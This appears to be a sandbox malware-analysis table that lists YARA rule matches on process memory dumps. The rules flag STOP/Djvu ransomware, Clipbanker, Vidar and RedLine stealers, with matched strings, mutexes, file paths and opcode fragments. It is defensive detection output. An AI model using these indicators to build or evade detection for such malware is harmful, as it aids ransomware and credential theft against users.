00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000000.345320617.0000000000B91000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0xe03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000B.00000000.345320617.0000000000B91000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xafa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 B9 00 6A 00 6A 00 FF 15 40 40 B9 00 FF 15 2C 40 B9 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 B9 00 0xb87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xb87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0xf35:$regex3: 56 8B F1 56 FF 15 20 40 B9 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.350956103.00000000020D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000E.00000000.347198189.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0xe03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000E.00000000.347198189.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xafa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 EE 00 6A 00 6A 00 FF 15 40 40 EE 00 FF 15 2C 40 EE 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 EE 00 0xb87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xb87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0xf35:$regex3: 56 8B F1 56 FF 15 20 40 EE 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000002.347163945.0000000000B91000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0xe03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000B.00000002.347163945.0000000000B91000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xafa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 B9 00 6A 00 6A 00 FF 15 40 40 B9 00 FF 15 2C 40 B9 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 B9 00 0xb87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xb87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0xf35:$regex3: 56 8B F1 56 FF 15 20 40 B9 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000006.00000000.321377469.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000007.00000002.351892792.00000000021A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.351892792.00000000021A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.304747895.000000000218B000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000000.301522504.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
